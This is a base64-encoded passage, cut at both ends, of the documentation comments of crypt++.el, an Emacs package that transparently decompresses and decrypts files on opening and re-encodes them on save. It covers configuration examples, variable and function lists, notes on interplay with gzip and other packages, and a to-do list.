biB1c2VycyBzaG91bGQgc2V0IGBjcnlwdC1lbmNyeXB0aW9uLXR5cGUnIHRvIG9uZSBvZiB0aGUK Ozs7IHZhbHVlcyBpbiBgY3J5cHQtZW5jcnlwdGlvbi1hbGlzdCcgKHNlZSBVU0FHRSBiZWxvdyku Cgo7OzsgU1BFQ0lBTCBOT1RFUzoKOzs7Cjs7OyBJZiBjcnlwdCsrIGlzIGR1bXBlZCB3aXRoIHRo ZSBlbWFjcyBleGVjdXRhYmxlLCBvciBpZiBpdCBoYXMgYWxyZWFkeSBiZWVuCjs7OyBsb2FkZWQg aW4gYW4gZW1hY3Mgc2Vzc2lvbiwgdGhlbiBtb2RpZnlpbmcgdGhlIHZhcmlhYmxlcyB1c2VkIGlu IGJ1aWxkaW5nCjs7OyB0aGUgZW5jcnlwdGlvbiBhbmQgZW5jb2RpbmcgdGFibGVzIHdpbGwgaGF2 ZSBubyBlZmZlY3QgdW50aWwgdGhlc2UgdGFibGVzCjs7OyBhcmUgcmVidWlsdC4gIFRoaXMgbWF5 IGJlIGRvbmUgd2l0aCBgTS14IGNyeXB0LXJlYnVpbGQtdGFibGVzJy4gIFNlZSBVU0FHRQo7Ozsg YmVsb3cgdG8gZGV0ZXJtaW5lIHZhcmlhYmxlcyBmb3Igd2hpY2ggdGhpcyBpcyBuZWVkZWQuICBG b3IgZXhhbXBsZSwKOzs7IHBvc3QtbG9hZCBjaGFuZ2VzIHRvIGBjcnlwdC1lbmNyeXB0aW9uLWZp bGUtZXh0ZW5zaW9uJyBvcgo7OzsgYGNyeXB0LWZyZWV6ZS12cy1mb3J0cmFuJyBjYW4gYmUgaW5j b3Jwb3JhdGVkIGludG8gdGhlIGVuY3J5cHRpb24gdGFibGUKOzs7IHZpYSBgTS14IGNyeXB0LXJl YnVpbGQtdGFibGVzJy4gIFNpbWlsYXJseSwgcG9zdC1sb2FkIGNoYW5nZXMgdG8KOzs7IGBjcnlw dC1iaW5kLWluc2VydC1maWxlJyBhcmUgaGFuZGxlZCB3aXRoIGBNLXggY3J5cHQtYmluZC1pbnNl cnQtZmlsZScuCgo7OzsgRFVNUElORyBDUllQVCsrIFdJVEggR05VIEVNQUNTIDE4Ogo7OzsKOzs7 IElmIGNyeXB0KysgaGFzIGJlZW4gZHVtcGVkIHdpdGggZW1hY3MgdGhlbiBjYWxscyB0byBgY3J5 cHQtcmVidWlsZC10YWJsZXMnCjs7OyBhbmQgYGNyeXB0LWJpbmQtaW5zZXJ0LWZpbGUnIHdpbGwg YmUgbmVlZGVkIGluIHRoZSB1c2VyJ3Mgfi8uZW1hY3Mgb3IKOzs7IC4uL2xpc3AvZGVmYXVsdC5l bCBmaWxlIGluIG9yZGVyIHRvIGFzc3VyZSB0aGUgY2hhbmdlcyB0YWtlIGVmZmVjdC4gIEZvcgo7 OzsgZXhhbXBsZSwKOzs7Cjs7OyAgICAgICAgICAgOzsgU2V0IG15IG93biBwcmVmZXJlbmNlcy4u Lgo7OzsgICAgICAgICAgIChzZXRxIGNyeXB0LWVuY3J5cHRpb24tdHlwZSAnZGVzCjs7OyAgICAg ICAgICAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbiAiXFwoXFwuZVxcKSQi Cjs7OyAgICAgICAgICAgICAgICAgY3J5cHQtYmluZC1pbnNlcnQtZmlsZSBuaWwKOzs7ICAgICAg ICAgICAgICAgICBjcnlwdC1mcmVlemUtdnMtZm9ydHJhbiBuaWwpCjs7Owo7OzsgICAgICAgICAg IDs7IEhhcyBjcnlwdCsrIGJlZW4gbG9hZGVkIGFscmVhZHk/Cjs7OyAgICAgICAgICAgKGlmIChm ZWF0dXJlcCAnY3J5cHQrKykKOzs7Cjs7OyAgICAgICAgICAgICAgIDs7IFllcy4gIEp1c3QgcmVi dWlsZCB0aGUgZW5jcnlwdGlvbiBhbmQgZW5jb2RpbmcgdGFibGVzCjs7OyAgICAgICAgICAgICAg IDs7IGFuZCBrZXkgYmluZGluZy4KOzs7ICAgICAgICAgICAgICAgKHByb2duCjs7OyAgICAgICAg ICAgICAgICAgKGNyeXB0LXJlYnVpbGQtdGFibGVzKQo7OzsgICAgICAgICAgICAgICAgIChjcnlw dC1iaW5kLWluc2VydC1maWxlKSkKOzs7Cjs7OyAgICAgICAgICAgICA7OyBOby4gIExvYWQgdGhl IHdob2xlIHRoaW5nLgo7OzsgICAgICAgICAgICAgKHJlcXVpcmUgJ2NyeXB0KyspKQo7OzsKOzs7 IFRoaXMgZ3VhcmFudGVlcyB0aGF0IHRoZSB1c2VycyBwcmVmZXJlbmNlcyB3aWxsIGJlIGluY29y cG9yYXRlZCBpbnRvCjs7OyBjcnlwdCsrIHdpdGhvdXQgaGF2aW5nIHRvIHJlbG9hZCBhbGwgb2Yg Y3J5cHQrKy5lbCB0byBkbyBpdC4KOzs7Cjs7OyBJbiBHTlUgRW1hY3MgMTkgYW5kIEx1Y2lkIEVt YWNzIDE5LjggdGhlIGV4ZWN1dGlvbiBvZgo7OzsgYGNyeXB0LXJlYnVpbGQtdGFibGVzJyBhbmQg YGNyeXB0LWJpbmQtaW5zZXJ0LWZpbGUnIGlzIGRvbmUgYXV0b21hdGljYWxseQo7OzsgdGhyb3Vn aCBgYWZ0ZXItaW5pdC1ob29rJy4gIFNvLCBmb3IgdGhlIGFib3ZlIGV4YW1wbGUsIGFsbCB0aGF0 IGlzIG5lZWRlZAo7OzsgaXMKOzs7Cjs7OyAgICAgICAgICAgOzsgU2V0IG15IG93biBwcmVmZXJl bmNlcy4uLgo7OzsgICAgICAgICAgIChzZXRxIGNyeXB0LWVuY3J5cHRpb24tdHlwZSAnZGVzCjs7 OyAgICAgICAgICAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbiAiXFwoXFwu ZVxcKSQiCjs7OyAgICAgICAgICAgICAgICAgY3J5cHQtYmluZC1pbnNlcnQtZmlsZSBuaWwKOzs7 ICAgICAgICAgICAgICAgICBjcnlwdC1mcmVlemUtdnMtZm9ydHJhbiBuaWwpCjs7Owo7OzsgICAg ICAgICAgIChyZXF1aXJlICdjcnlwdCsrKQo7OzsKOzs7IFRoZXJlIGlzIGFuIGBhZnRlci1pbml0 LWhvb2snIGluIEx1Y2lkIEVtYWNzIHYgMTkuOCBidXQgaW4gZWFybHkgdmVyc2lvbnMKOzs7IG9m IEx1Y2lkIEVtYWNzIGl0IHdpbGwgdXNlIGB0ZXJtLXNldHVwLWhvb2snIGluc3RlYWQuCgoMCjs7 OyBVU0FHRToKOzs7Cjs7OyBCeSBkZWZhdWx0LCBpbnRlbmRlZCB0byBiZSB0cmFuc3BhcmVudC4g IFVzZXItZGVmaW5lZCB2YXJpYWJsZXMKOzs7Cjs7OyAgICAgY29udHJvbGxpbmcgRU5DUllQVElP TiBhcmU6Cjs7OyAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi10eXBlCjs7OyAgICAgICAgY3J5cHQt ZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbgo7OzsgICAgICAgIGNyeXB0LW5ldmVyLWV2ZXItZGVj cnlwdAo7OzsgICAgICAgIGNyeXB0LWF1dG8td3JpdGUtYnVmZmVyLWVuY3J5cHRlZAo7OzsgICAg ICAgIGNyeXB0LWNvbmZpcm0tcGFzc3dvcmQKOzs7ICAgICAgICBjcnlwdC1lbmNyeXB0ZWQtZGlz YWJsZS1hdXRvLXNhdmUKOzs7ICAgICAgICBjcnlwdC1lbmNyeXB0aW9uLWFsaXN0Cjs7OyAgICAg ICAgY3J5cHQtcGdwLXB1Yi1tdWx0aXJlY2lwaWVudHMKOzs7Cjs7OyAgICAgY29udHJvbGxpbmcg RU5DT0RJTkcgYXJlOgo7OzsgICAgICAgIGNyeXB0LWF1dG8tZGVjb2RlLWJ1ZmZlcgo7OzsgICAg ICAgIGNyeXB0LWF1dG8td3JpdGUtYnVmZmVyCjs7OyAgICAgICAgY3J5cHQtcXVlcnktaWYtaW50 ZXJhY3RpdmUKOzs7ICAgICAgICBjcnlwdC1uby1leHRlbnNpb24taW1wbGllcy1wbGFpbgo7Ozsg ICAgICAgIGNyeXB0LWZyZWV6ZS12cy1mb3J0cmFuCjs7OyAgICAgICAgY3J5cHQtY29tcGFjdC12 cy1DKysKOzs7ICAgICAgICBjcnlwdC1pZ25vcmVkLWZpbGVuYW1lcwo7OzsgICAgICAgIGNyeXB0 LWRlZmF1bHQtZW5jb2RpbmcKOzs7ICAgICAgICBjcnlwdC1lbmNvZGVkLWRpc2FibGUtYXV0by1z YXZlCjs7OyAgICAgICAgY3J5cHQtZW5jb2RpbmctYWxpc3QKOzs7Cjs7OyAgICAgY29udHJvbGxp bmcgZmlsZSBpbnNlcnRpb24gYXJlOgo7OzsgICAgICAgIGNyeXB0LWJpbmQtaW5zZXJ0LWZpbGUK Ozs7ICAgICAgICBjcnlwdC1hdXRvLWRlY29kZS1pbnNlcnQKOzs7Cjs7OyBUbyBmaW5kIG91dCBt b3JlIGFib3V0IHRoZXNlIHZhcmlhYmxlcywgbG9hZCB0aGlzIGZpbGUsIHB1dCB5b3VyIGN1cnNv ciBhdAo7OzsgdGhlIGVuZCBvZiBhbnkgb2YgdGhlIHZhcmlhYmxlIG5hbWVzLCBhbmQgaGl0IEMt aCB2IFtSRVRdLgo7OzsKOzs7IE5PVEU6IGVuY3J5cHRpb24gdXNlcnMgc2hvdWxkIHNldCBgY3J5 cHQtZW5jcnlwdGlvbi10eXBlJyB0byBvbmUgb2YgdGhlCjs7OyB2YWx1ZXMgaW4gYGNyeXB0LWVu Y3J5cHRpb24tYWxpc3QnLgo7OzsKOzs7IEFsdGhvdWdoIHJhcmVseSBuZWVkZWQsIHRoZSBmb2xs b3dpbmcgbWF5IGJlIGNhbGxlZCBpbnRlcmFjdGl2ZWx5Ogo7OzsgICAgICAgIChjcnlwdC1lbmNv ZGVkLW1vZGUpCjs7OyAgICAgICAgKGNyeXB0LWVuY29kZS1yZWdpb24pCjs7OyAgICAgICAgKGNy eXB0LWVuY3J5cHRlZC1tb2RlKQo7OzsgICAgICAgIChjcnlwdC1lbmNyeXB0LXJlZ2lvbikKOzs7 ICAgICAgICAoY3J5cHQtc2V0LWVuY3J5cHRpb24ta2V5KQo7OzsgICAgICAgIChjcnlwdC1yZWJ1 aWxkLXRhYmxlcykKOzs7ICAgICAgICAoY3J5cHQtaW5zZXJ0LWZpbGUpCjs7OyAgICAgICAgKGNy eXB0LWJpbmQtaW5zZXJ0LWZpbGUpCjs7OyAgICAgICAgKGNyeXB0LXN1Ym1pdC1yZXBvcnQpCjs7 OyAgICAgICAgKGNyeXB0LXBncC1wdWItY2xlYXItcmVjaXBpZW50cykKOzs7Cjs7OyBUbyBmaW5k IG91dCBtb3JlIGFib3V0IHRoZXNlIGZ1bmN0aW9ucywgbG9hZCB0aGlzIGZpbGUsIHB1dCB5b3Vy IGN1cnNvcgo7OzsgaW5zaWRlIGFueSBvZiB0aGUgYCgpJyBvZiB0aGUgYWJvdmUgbGluZXMsIGFu ZCBoaXQgQy1oIGYgW1JFVF0uCjs7OyAKOzs7IFlvdSBtYXkgd2lzaCB0byB1c2UgbWFpbGNyeXB0 IGluIGNvbmp1bmN0aW9uIHdpdGggY3J5cHQrKy4KOzs7IGh0dHA6Ly9tYWlsY3J5cHQuc291cmNl Zm9yZ2UubmV0LwoKDAo7OzsgTk9URVMgT04gSU5URVJGQUNFUyBXSVRIIE9USEVSIFBST0dSQU1T IEFORCBQQUNLQUdFUzoKOzs7Cjs7OyBHWklQOiB0aGUgZW52aXJvbm1lbnQgdmFyaWFibGUgR1pJ UCBvZiBnemlwIGNhbiBjYXVzZSBhbiBlcnJvciBpZiBpdAo7OzsgY29udGFpbnMgYC0tdmVyYm9z ZScgYmVjYXVzZSBzdGFuZGFyZCBvdXRwdXQgbWVzc2FnZXMgd2lsbCBiZSBhcHBlbmRlZCB0bwo7 OzsgZ3ppcCdlZCBmaWxlcy4gIFRoaXMgY29ycnVwdHMgdGhlIGZpbGVzLiAgVGhlIGNsZWFuZXN0 IHNvbHV0aW9uIGlzIHRvIHBhc3MKOzs7IHRoZSBgLS1xdWlldCcgc3dpdGNoIGluIGBjcnlwdC1l bmNvZGluZy1hbGlzdCcgdG8gb3ZlcnJpZGUgdGhpcy4gIFVzZSBnemlwCjs7OyB2ZXJzaW9uIDEu MC40IG9yIGhpZ2hlciBmcm9tIGZ0cDovL2Z0cC5nbnUub3JnL3B1Yi9nbnUvZ3ppcC0qLnRhci5n ei4KOzs7Cjs7OyBUQVItTU9ERTogd29ya3MgcHJvcGVybHkgd2l0aCB2ZXJzaW9uIDEuMjggKG9y IGhpZ2hlcikgd2l0aCB2MTkgZW1hY3MuCjs7Owo7OzsgUk1BSUwgYW5kIENIQU5HSU5HIE1BSk9S IE1PREUgKGZvciB2MTggT05MWSk6IGluIHYxOCBlbWFjcwo7OzsgY3J5cHQrKy5lbCdzIGJ1ZmZl ciBsb2NhbCB2YXJpYWJsZXMgYXJlIHNtYXNoZWQgd2hlbmV2ZXIgdGhlIG1ham9yCjs7OyBtb2Rl IGlzIGNoYW5nZWQgb2YgYSBidWZmZXIgb3Igd2hlbmV2ZXIgUk1BSUwgaXMgcnVuIG9uIGFuIGVu Y3J5cHRlZAo7OzsgYW5kL29yIGNvbXByZXNzZWQgZmlsZS4gIFRoaXMgc2NyZXdzIHRoaW5ncyB1 cC4gIE5vIHNtYXNoaW5nIG9jY3Vycwo7Ozsgd2l0aCB2MTkgRW1hY3MuICBmb3IgdjE4IGVtYWNz IEpvZSBXZWxscycgImtpbGwtZml4LmVsIiBpcyBuZWVkZWQgdG8KOzs7IHByZXZlbnQgdGhpcy4g IEdldCBhIGNvcHkgb2Yga2lsbC1maXguZWwgZnJvbQo7OzsgYXJjaGl2ZS5jaXMub2hpby1zdGF0 ZS5lZHUsIHN0b3JlIGl0IHdoZXJlIGVtYWNzIGNhbiBmaW5kIGl0LCBzdGljawo7OzsgYSAiKHJl cXVpcmUgJ2tpbGwtZml4KSIgYW55d2hlcmUgaW4geW91ciB+Ly5lbWFjcywgYW5kIHRoZSBwcm9i bGVtCjs7OyB3aWxsIGJlIGZpeGVkLgo7OzsKOzs7IExJU1BESVI6IGlmIHlvdSBzYXZlIHRoaXMg ZmlsZSBhcyBjcnlwdCsrLmVsIHRoZW4gdGhlICIocmVxdWlyZSAnY3J5cHQpIgo7OzsgaW4gbGlz cGRpci5lbCBuZWVkcyB0byBiZSByZXBsYWNlZCB3aXRoICIocmVxdWlyZSAnY3J5cHQrKykiCjs7 OyBvciB0aGUgc3ltYm9saWMgbGluayBzdWdnZXN0ZWQgYWJvdmUgY2FuIGJlIHVzZWQuCgoMCjs7 OyBERVNDUklQVElPTjoKOzs7Cjs7OyBUaGUgYmFzaWMgcHVycG9zZSBvZiB0aGlzIHBhY2thZ2Ug b2YgTGlzcCBmdW5jdGlvbnMgaXMgdG8gcmVjb2duaXplCjs7OyBhdXRvbWF0aWNhbGx5IGVuY3J5 cHRlZCBhbmQgZW5jb2RlZCAoaS5lLiwgY29tcHJlc3NlZCkgZmlsZXMgd2hlbiB0aGV5IGFyZQo7 OzsgZmlyc3QgdmlzaXRlZCBvciB3cml0dGVuLiAgVGhlIEJVRkZFUiBjb3JyZXNwb25kaW5nIHRv IHRoZSBmaWxlIGlzIGRlY29kZWQKOzs7IGFuZC9vciBkZWNyeXB0ZWQgYmVmb3JlIGl0IGlzIHBy ZXNlbnRlZCB0byB0aGUgdXNlci4gIFRoZSBmaWxlIGl0c2VsZiBpcwo7OzsgdW5jaGFuZ2VkIG9u IHRoZSBkaXNrLiAgV2hlbiB0aGUgYnVmZmVyIGlzIHN1YnNlcXVlbnRseSBzYXZlZCB0byBkaXNr LCBhCjs7OyBob29rIGZ1bmN0aW9uIHJlLWVuY29kZXMgdGhlIGJ1ZmZlciBiZWZvcmUgdGhlIGFj dHVhbCBkaXNrIHdyaXRlIHRha2VzCjs7OyBwbGFjZS4KOzs7Cjs7OyBUaGlzIHBhY2thZ2UgcmVj b2duaXplcyBhbGwgc29ydHMgb2YgY29tcHJlc3NlZCBmaWxlcyBieSBhIG1hZ2ljIG51bWJlciBh dAo7OzsgdGhlIGJlZ2lubmluZyBvZiB0aGVzZSBmaWxlcyBidXQgdXNlcyBhIGhldXJpc3RpYyB0 byBkZXRlY3QgZW5jcnlwdGVkCjs7OyBmaWxlcy4gIElmIHlvdSBhcmUgYXNrZWQgZm9yIGFuIGVu Y3J5cHRpb24ga2V5IGZvciBhIGZpbGUgdGhhdCBpcyBpbiBmYWN0Cjs7OyBub3QgZW5jcnlwdGVk LCBqdXN0IGhpdCBSRVQgYW5kIHRoZSBmaWxlIHdpbGwgYmUgYWNjZXB0ZWQgYXMgaXMsIGFuZCB0 aGUKOzs7IGNyeXB0IG1pbm9yIG1vZGUgd2lsbCBub3QgYmUgZW50ZXJlZC4KOzs7Cjs7OyBPdGhl ciB0eXBlcyBvZiBlbmNvZGluZyBwcm9ncmFtcyBtYXkgYmUgYWRkZWQgdG8gdGhpcyBwYWNrYWdl IGJ5IHVzaW5nIHRoZQo7OzsgdmFyaWFibGUgYGNyeXB0LWVuY29kaW5nLWFsaXN0JyB3aGljaCBj b250YWlucyBhIHRhYmxlIG9mIGVuY29kaW5nCjs7OyBwcm9ncmFtcyBzdWNoIGFzIGNvbXByZXNz LCBnemlwIChHTlUgemlwKSwgZnJlZXplLCBhbmQgY29tcGFjdC4KOzs7Cjs7OyBUaGlzIG5ldyBl eHRlbmRlZCB2ZXJzaW9uIG9mIGNyeXB0IG5vdyBtb25pdG9ycyB0aGUgZmlsZW5hbWUgZXh0ZW5z aW9ucyBvZgo7OzsgYnVmZmVycyB0aGF0IGFyZSB3cml0dGVuIG91dCB1c2luZyB3cml0ZS1maWxl IChDLXggQy13KS4gIElmIHRoZSBmaWxlbmFtZQo7OzsgZXh0ZW5zaW9uIG1hdGNoZXMgb25lIG9m IHRoZSBleHRlbnNpb25zIGxpc3RlZCBpbiBgY3J5cHQtZW5jb2RpbmctYWxpc3QsJwo7OzsgdGhl biB0aGlzIHBhY2thZ2Ugd2lsbCB3cml0ZSB0aGUgZmlsZSBvdXQgdXNpbmcgdGhlIGNvcnJlc3Bv bmRpbmcgZW5jb2RpbmcKOzs7IChjb21wcmVzc2lvbikgbWV0aG9kLiBUaGlzIGlzIGRvbmUgd2hl dGhlciBvciBub3QgdGhlIGJ1ZmZlciBvcmlnaW5hdGVkCjs7OyBmcm9tIGEgcHJldmlvdXNseSBl bmNvZGVkIChjb21wcmVzc2VkKSBmaWxlLgo7OzsKOzs7IFRodXMsIGlmIHRoZSB1c2VyIGlzIGVk aXRpbmcgYSBmaWxlIHRoYXQgbWF5IG9yIG1heSBub3QgaGF2ZSBiZWVuIGVuY29kZWQKOzs7IG9y aWdpbmFsbHkgKGUuZy4sIGZvb2Jhci5aIG9yIGZvb2JhcikgYW5kIGRlY2lkZXMgdG8gd3JpdGUg aXQgdG8gYQo7OzsgZGlmZmVyZW50IGZpbGUgKGUuZy4sIGJhcmZvbyBvciBiYXJmb28ueiBvciBi YXJmb28uQykuICBUaGlzIHBhY2thZ2Ugd2lsbAo7OzsgZXhhbWluZSB0aGUgZmlsZW5hbWUgZXh0 ZW5zaW9uIGFuZCB3cml0ZSB0aGUgYnVmZmVyIGluIHBsYWluIGZvcm1hdCBvciBhbgo7OzsgYWx0 ZXJuYXRlIGVuY29kaW5nIChjb21wcmVzc2lvbikgZm9ybWF0IGJ5IHNlYXJjaGluZyB0aHJvdWdo IHRoZSBlbnRyaWVzCjs7OyBpbiB0aGUgdGFibGUgb2YgZW5jb2RpbmcgbWV0aG9kcyBgY3J5cHQt ZW5jb2RpbmctYWxpc3QuJyAgVGhpcyBjaGFuZ2UgaW4KOzs7IGVuY29kaW5nIHN0YXRlIGlzIGRv bmUgYXV0b21hdGljYWxseSBpZiB0aGUgdmFyaWFibGUKOzs7IGBjcnlwdC1hdXRvLXdyaXRlLWJ1 ZmZlcicgaXMgdCBvdGhlcndpc2UgdGhlIHVzZXIgaXMgYXNrZWQuCgoMCjs7OyBUTyBETy9LTk9X TiBCVUdTL0hFTFAgV0FOVEVEL0FQUExZIFdJVEhJTjoKOzs7Cjs7OyBBbGwgdXNlcnMvaGFja2Vy cyBvdXQgdGhlcmUgYXJlIHN0cm9uZ2x5IGVuY291cmFnZWQgdG8gcHVyc3VlIGFueSBvZiB0aGVz ZQo7OzsgbWF0dGVycyBmdXJ0aGVyIChlc3BlY2lhbGx5IHRob3NlIHRoYXQgY29uY2VybiBlbmNy eXB0aW9uIGFuZCBkZWNyeXB0aW9uISkuCjs7OyBJdCBpcyBpbXBvcnRhbnQgdG8gZnV0dXJlIHBy b2dyYW1tZXJzIGFuZCBtb2RpZmllcnMgb2YgY3J5cHQrKy5lbCB0byBrbm93Cjs7OyBhYm91dCBp dHMgcGVyY2VpdmVkIGxpbWl0YXRpb25zLiAgU2luY2UgbmVjZXNzaXR5IGRyaXZlcyBpbnZlbnRp b24sIHVzZXJzCjs7OyB3aG8gZmluZCBhbnkgb2YgdGhlIGZvbGxvd2luZyBmZWF0dXJlcyBvZiBj cnlwdCsrLmVsIGFubm95aW5nIGFyZSBhc2tlZCB0bwo7OzsgbWFrZSBzdWdnZXN0aW9ucyBhbmQg c2VuZCBwYXRjaGVzIChhZ2FpbiwgZXNwZWNpYWxseSB0aG9zZSB0aGF0IGNvbmNlcm4KOzs7IGVu Y3J5cHRpb24gYW5kIGRlY3J5cHRpb24hKS4KOzs7Cjs7OyAqIGN1cnJlbnRseSBjcnlwdCsrIGFz c3VtZXMgdGhhdCBpZiBhIGZpbGUgaXMgYm90aCBlbmNyeXB0ZWQgYW5kIGVuY29kZWQKOzs7ICAg KGkuZS4sIGNvbXByZXNzZWQpIHRoYXQgdGhlIG9yZGVyIGluIHdoaWNoIGl0IHdhcyBkb25lIHdh cyBlbmNyeXB0aW9uCjs7OyAgIGZpcnN0IF90aGVuXyBjb21wcmVzc2lvbi4gIEFzIGhhcyBiZWVu IHBvaW50ZWQgYnkgbWFueSBwZW9wbGUgY29tcHJlc3Npb24KOzs7ICAgZm9sbG93aW5nIGVuY3J5 cHRpb24gaXMgdXNlbGVzcyBzaW5jZSB0aGUgZW5jcnlwdGVkIGZpbGUgaXMgYmFzaWNhbGx5Cjs7 OyAgIHJhbmRvbS4gIE9uIHRoZSBvdGhlciBoYW5kLCBtYW55IGFncmVlIHRoYXQgZG9pbmcgZW5j cnlwdGlvbiBfZm9sbG93aW5nXwo7OzsgICBjb21wcmVzc2lvbiBpcyBiZXR0ZXIgc2luY2UgaXQg bWFrZXMgaXQgaGFyZGVyIHRvIGNyYWNrIHRoZSBlbmNyeXB0aW9uLgo7OzsgICBXZSB3b3VsZCBs aWtlIHRvIG1ha2UgdGhlIG9yZGVyaW5nIG9mIHRoZXNlIHR3byB1c2VyLWNvbmZpZ3VyYWJsZSBv ciBpZgo7OzsgICBub3RoaW5nIGVsc2UgY2hhbmdlIHRoZSBvcmRlci4KOzs7Cjs7OyAgIEhhdmlu ZyByZWFkIHRoZSBhYm92ZSBob3dldmVyLCBGcmFuY29pcyBQaW5hcmQgPHBpbmFyZEBpcm8udW1v bnRyZWFsLmNhPgo7OzsgICB3cml0ZXMgdGhhdCBlbmNyeXB0aW9uIGZvbGxvd2luZyBjb21wcmVz c2lvbiBtYXkgbm90IGJlIGhhcmRlciB0byBjcmFjawo7OzsgICBzaW5jZSAidGhlIGZhY3QgdGhh dCB0aGUgZmlyc3QgZmV3IHVuY3J5cHRlZCBieXRlcyBhcmUgZXhwZWN0ZWQgKHRoZQo7OzsgICBj b21wcmVzcyBzaWduYXR1cmUpIGZhY2lsaXRhdGVzIGEgc2VyaW91cyBhdHRlbXB0IGF0IHVuY3J5 cHRpbmcuIgo7OzsgICBqd3ogYWdyZWVzIHdpdGggRnJhbmNvaXMuCjs7Owo7OzsgKiBnZXQgd3Jp dGUtcmVnaW9uIGFuZCBhcHBlbmQtdG8tZmlsZSB0byBoYW5kbGUgZW5jb2RlZCBhbmQgZW5jcnlw dGVkCjs7OyAgIGZpbGVzLiAgVGhlcmUgaXMgYW4gaW50ZXJlc3RpbmcgbG93LWxldmVsIGVuY29k aW5nIHBhY2thZ2UgYnkgSmF5IEFkYW1zCjs7OyAgIDxqa2FAZWNlLmNtdS5lZHU+IGNhbGxlZCBq a2EtY29tcHIuZWwgdGhhdCBtaWdodCBhZGRyZXNzIHNvbWUgb2YgdGhlc2UKOzs7ICAgaXNzdWVz LiAgV2UgZW5jb3VyYWdlIGhhY2tlcnMgb3V0IHRoZXJlIHRvIGNvbWUgdXAgd2l0aCBjcnlwdCsr IHZlcnNpb25zCjs7OyAgIG9mIHdyaXRlLXJlZ2lvbiBhbmQgYXBwZW5kLXRvLWZpbGUuICBUaGUg ZGlmZmljdWx0eSBpcyBjcmVhdGluZyB2ZXJzaW9ucwo7OzsgICB0aGF0IG1pbWljIHRoZSBvcmln aW5hbHMgYXMgY2xvc2VseSBhcyBwb3NzaWJsZS4KOzs7Cjs7OyAqIGluc3RlYWQgb2YgdXNpbmcg Y2FsbC1wcm9jZXNzLXJlZ2lvbiAod2hpY2ggY2FuIGZhaWwgYmFkbHkgaWYgdGhlIHJlZ2lvbgo7 OzsgICBpcyBsYXJnZSBhbmQgdGhlcmUncyBub3QgbXVjaCByb29tIGluIC90bXApLCB3cml0ZSB0 aGUgcmVnaW9uIHRvIGEgdGVtcAo7OzsgICBmaWxlICh3aXRoIGEgY3VzdG9taXNhYmxlIGxvY2F0 aW9uKSBhbmQgdXNlIGNhbGwtcHJvY2VzcyBkaXJlY3RseS4KOzs7Cjs7OyAqIHVzZXJzIGhhdmUg bWVudGlvbmVkIHRyb3VibGUgdXNpbmcgY3J5cHQrKyBhbmQgaGlsaXQgc2ltdWx0YW5lb3VzbHkg c2luY2UKOzs7ICAgdGhlIGZ1bmN0aW9ucyBpbiB3cml0ZS1maWxlLWhvb2sgZm9yIGJvdGggd3Jp dGUgdGhlIGZpbGUgdG8gZGlzayBhbmQKOzs7ICAgcmV0dXJuIHQuICBBIHBvc3NpYmxlIHNvbHV0 aW9uIGlzIHRvIGhhdmUgb25lIG9mIHRoZW0gd3JpdGUgdG8gYQo7OzsgICBzY3JhdGNoIGJ1ZmZl ciBpbnN0ZWFkIG9mIHRvIGRpc2sgYW5kIHJldHVybiBuaWwgYW5kIHRoZW4gYWxsb3cgdGhlCjs7 OyAgIG90aGVyIHRvIGRvIGl0cyB3b3JrIG9uIHRoZSBzY3JhdGNoIGJ1ZmZlciBhbmQgd3JpdGUg aXQgdG8gZGlzay4gIFRoYW5rcwo7OzsgICB0byBXYXluZSBGb2x0YSA8Zm9sdGFAY3MuVU1ELkVE VT4gYW5kIEFtaXIgSiBLYXR6IDxhbWlyQG1hdGlzLmluZ3IuY29tPi4KOzs7ICAgSXQgd291bGQg YmUgbmljZSB0byBoYXZlIGFub3RoZXIgd2F5IGluIGVtYWNzIHRvIGhhdmUgYW4KOzs7ICAgYWZ0 ZXItd3JpdGUtZmlsZS1ob29rIGFuZCBhIGJlZm9yZS13cml0ZS1maWxlLWhvb2sgb2Ygc29tZSBz b3J0Lgo7OzsgICBMdWNpZCBFbWFjcyBoYXMgYW4gYWZ0ZXItd3JpdGUtZmlsZS1ob29rLiAgUmVj ZW50IHZlcnNpb25zIG9mIGhpbGl0MTkuZWwKOzs7ICAgZG8gbm90IGF1dG9tYXRpY2FsbHkgYXR0 YWNoIHRvIGB3cml0ZS1maWxlLWhvb2tzJyBhbmQgcmV0dXJuIHQuCjs7OyAgIEhvd2V2ZXIsIHRo ZSBnZW5lcmFsIHByb2JsZW0gb2YgbXVsdGlwbGUgcGFja2FnZXMgcmV0dXJuaW5nIHQgc3RpbGwK Ozs7ICAgcmVtYWlucy4gIGRvcy1tb2RlLmVsIGFuZCBjcnlwdCsrLmVsIGFsc28gY29uZmxpY3Qu Cjs7Owo7OzsgKiBhbm90aGVyIHBvc3NpYmxlIHNvdXJjZSBvZiB0cm91YmxlIGlzIHdpdGggZW5j cnlwdGlvbiAoYW5kIGVuY29kaW5nKQo7OzsgICBwcm9ncmFtcyBzdGlja2luZyB2ZXJib3NlIG91 dHB1dCBpbnRvIGJ1ZmZlcnMgcHJpb3IgdG8gYmVpbmcgd3JpdHRlbiB0bwo7OzsgICBkaXNrLiAg VGhpcyB3YXMgZGVmaW5pdGVseSBvY2N1cnJpbmcgd2l0aCBnemlwIGJlY2F1c2Ugb2YgLS12ZXJi b3NlIGluCjs7OyAgIHRoZSBHWklQIGVudmlyb25tZW50IHZhcmlhYmxlIGFuZCBpcyBzb2x2ZWQv aGlkZGVuIHdpdGggdGhlIC0tcXVpZXQKOzs7ICAgc3dpdGNoLiAgSG93ZXZlciwgSSBzdXNwZWN0 IHRoYXQgc29tZSBlbmNyeXB0aW9uIHByb2JsZW1zIG91dCB0aGVyZSBhcmUKOzs7ICAgY2FwYWJs ZSBvZiBzaW1pbGFyIHRoaW5ncyBzbyB0aGUgdXNlciBzaG91bGQgYmUgY2FyZWZ1bC4KOzs7Cjs7 OyAqIGludGVncmF0aW5nIGNyeXB0Kysgd2l0aCBhIGJhY2tncm91bmRpbmcgcGFja2FnZSBzdWNo IGFzIE9saW4gU2hpdmVycycKOzs7ICAgYGJhY2tncm91bmQuZWwnIG1pZ2h0IGJlIHVzZWZ1bCB0 b28uICB0aGFua3MgdG8gTWFyayBCb3JnZXMKOzs7ICAgPG1kYkBub2FhY3JkLkNvbG9yYWRvLkVE 